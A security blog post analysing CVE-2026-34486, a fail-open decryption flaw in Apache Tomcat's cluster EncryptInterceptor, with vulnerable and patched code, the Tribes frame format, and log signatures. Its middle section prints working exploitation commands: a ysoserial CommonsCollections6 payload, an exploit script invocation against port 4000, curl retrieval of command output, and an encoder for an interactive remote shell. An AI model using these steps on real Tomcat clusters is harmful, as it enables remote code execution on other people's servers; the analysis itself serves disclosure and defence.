//nefariousplan

CVE-2026-34486: EncryptInterceptor Only Encrypts Messages That Survive Decryption

patterns

cve

proof of concept

The Tomcat cluster port at TCP 4000 has one access control mechanism when EncryptInterceptor is configured: if your message cannot be decrypted with the cluster's AES key, it gets dropped. That is the contract the configuration implies. In Tomcat 9.0.116 through 11.0.20, the code catches the decryption failure, logs a SEVERE entry, and then calls super.messageReceived() with the original bytes anyway. Those bytes reach ObjectInputStream.readObject() with no class filter. Every administrator who configured cluster encryption is affected. Every administrator who left it unconfigured is not.

The EncryptInterceptor was also the authentication gate

Apache Tomcat's Tribes framework handles cluster communication: session replication, state synchronization, cluster membership heartbeats. The NioReceiver listens on TCP 4000 by default. There is no authentication on that port. No certificates, no session tokens, no HMAC. The design assumes network-layer protection: restrict port 4000 to cluster node IPs, keep it off the internet.

When EncryptInterceptor is added to the interceptor chain, it provides something beyond encryption. A message from a node that does not share the cluster's AES key will fail to decrypt, and the expectation was that those messages would be dropped. The interceptor was serving two functions under one name: encrypting legitimate cluster traffic, and discarding traffic from non-members. This is the shape that the fail open intercept pattern names: a security gate built to enforce a property, where the exception handler was written to log and continue rather than reject.

The vulnerable code in EncryptInterceptor.java at Tomcat 9.0.116:

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error("Failed to decrypt message", gse);
        // execution falls through
    }
    super.messageReceived(msg);  // runs regardless of decryption outcome
}

The patched version in 9.0.117:

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
        super.messageReceived(msg);  // only reachable if decryption succeeded
    } catch (GeneralSecurityException gse) {
        log.error("Failed to decrypt message", gse);
        // message discarded
    }
}

One line relocated inside a method body. In the vulnerable version, super.messageReceived(msg) sits outside the try block. The bytecode confirms it. The exception table in Tomcat 9.0.116's EncryptInterceptor.class:

Exception table:
   from    to  target type
      0    39    42   Class java/security/GeneralSecurityException

60: aload_0
61: aload_1
62: invokespecial #136  // Method ChannelInterceptorBase.messageReceived

The exception table ends at offset 39. super.messageReceived() is at offset 60. Whatever happens between 0 and 39, execution reaches 60. The catch block at 42-58 runs, logs the error, and falls through. super.messageReceived(msg) executes with msg unchanged: the original, undecrypted bytes the attacker sent.

The fix for CVE-2026-29146 moved the gate outside the fence

CVE-2026-34486 was introduced while fixing CVE-2026-29146, a padding oracle in the same EncryptInterceptor. The developer refactored the encryption manager to close the oracle, and during that refactor, super.messageReceived(msg) migrated from inside the try block to outside it. One security fix. One line relocated. One new vulnerability in the same method.

EncryptInterceptor is a design-debt driver. The component has produced a padding oracle and a deserialization bypass from the same method in consecutive releases. Each patch closed the specific instance. The code style that generated both persists: the exception handler logs and continues, and whoever touches messageReceived() next inherits that substrate. The design-debt driver pattern does not describe a codebase that is behind on patches. It describes a component whose architecture holds a vulnerability class, and that class reproduces.

The cluster key is not the gating check

Tribes uses a binary framing protocol built on XByteBuffer. The frame format:

[START_DATA: "FLT2002" (7B)] [data_length: 4B big-endian] [ChannelData] [END_DATA: "TLF003" (6B)]

ChannelData structure:

[options (4B)] [timestamp (8B)] [uniqueIdLen (4B) + uniqueId (16B)]
[memberDataLen (4B)] [MemberImpl data] [messageLen (4B)] [message body]

MemberImpl data is framed by TRIBES-B\x01\x00 and TRIBES-E\x01\x00. The message body is where the payload goes. No encryption required, no cluster key required. The frame format is documented in Tomcat's source; the AirSkye PoC reconstructs it in 50 lines of Python.

The attack:

# Generate a CommonsCollections6 deserialization payload
java --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial.jar CommonsCollections6 \
     "id > /usr/local/tomcat/webapps/ROOT/.out.txt" \
     > payload.bin

# Wrap in a Tribes frame and send to port 4000
python3 exploit.py 192.168.1.10 4000 payload.bin

# Retrieve command output via HTTP
curl http://192.168.1.10:8080/.out.txt
# uid=0(root) gid=0(root) groups=0(root)

What happens server-side: NioReceiver accepts the TCP connection, no authentication check. The frame is parsed, ChannelData extracted. The message propagates up the interceptor chain: TcpFailureDetector, then EncryptInterceptor. encryptionManager.decrypt() receives a Java serialization stream (\xac\xed\x00\x05...), not AES/CBC ciphertext. IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher. Exception caught, SEVERE logged, super.messageReceived(msg) executes. MessageDispatchInterceptor forwards to GroupChannel. GroupChannel.messageReceived() calls ObjectInputStream.readObject() with no class filter. CommonsCollections6 fires. Runtime.exec() runs as the Tomcat process user.

The 404-src PoC includes an interactive shell mode that loops this sequence, encoding each command in base64 to survive argument parsing, redirecting output to the webroot, then fetching it over HTTP:

def shell_encode(cmd):
    b = base64.b64encode(cmd.encode()).decode()
    return "bash -c {echo," + b + "}|{base64,-d}|bash"

The loop prompts rce@<target>$, sends a payload, waits 1.5 seconds, and prints the result. Full interactive shell via one-way deserialization and HTTP retrieval.

What the log shows when you are owned

The complete attack trace in the victim log:

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher
    at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
    ...
    at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134)

No readObject exception. No InvalidClassException. No ClassNotFoundException. The deserialization executes silently after the caught exception. The command output goes to a file in the webroot, readable over HTTP, generating no cluster-level log entry at all.

In a production cluster, Failed to decrypt message is an ambiguous entry. A restarting node with a temporarily mismatched key, a rolling upgrade, a corrupted packet in transit. It is the kind of SEVERE that generates a ticket for the network team rather than an incident for security. The attacker's window is open until someone reads the ticket.

The affected population specifically configured encryption

This CVE requires EncryptInterceptor to be in the Tribes interceptor chain. A cluster without it is outside the scope of this specific regression. The code-motion bug cannot trigger if the class is not loaded.

The administrators who read the Tomcat clustering documentation, found the EncryptInterceptor configuration block, added it to server.xml, configured encryptionAlgorithm="AES/CBC/PKCS5Padding" and an encryptionKey, and deployed: those are the affected administrators. Their security enhancement is the attack surface. The ones who left cluster traffic unencrypted are not affected by this CVE.

Tomcat generates a startup warning for this configuration:

WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

The warning addresses the cipher mode. It says nothing about what happens when decryption fails. It does not tell the administrator that the interceptor is also serving as their only membership gate, or that the gate fails open on decryption error. The administrator who reads this warning and switches to GCM is still running the vulnerable interceptor until they patch to 9.0.117, 10.1.54, or 11.0.21. The warning was not about this.

PoC: 404-src/CVE-2026-34486

The administrators who skipped the encryption configuration are not affected. The ones who configured security are.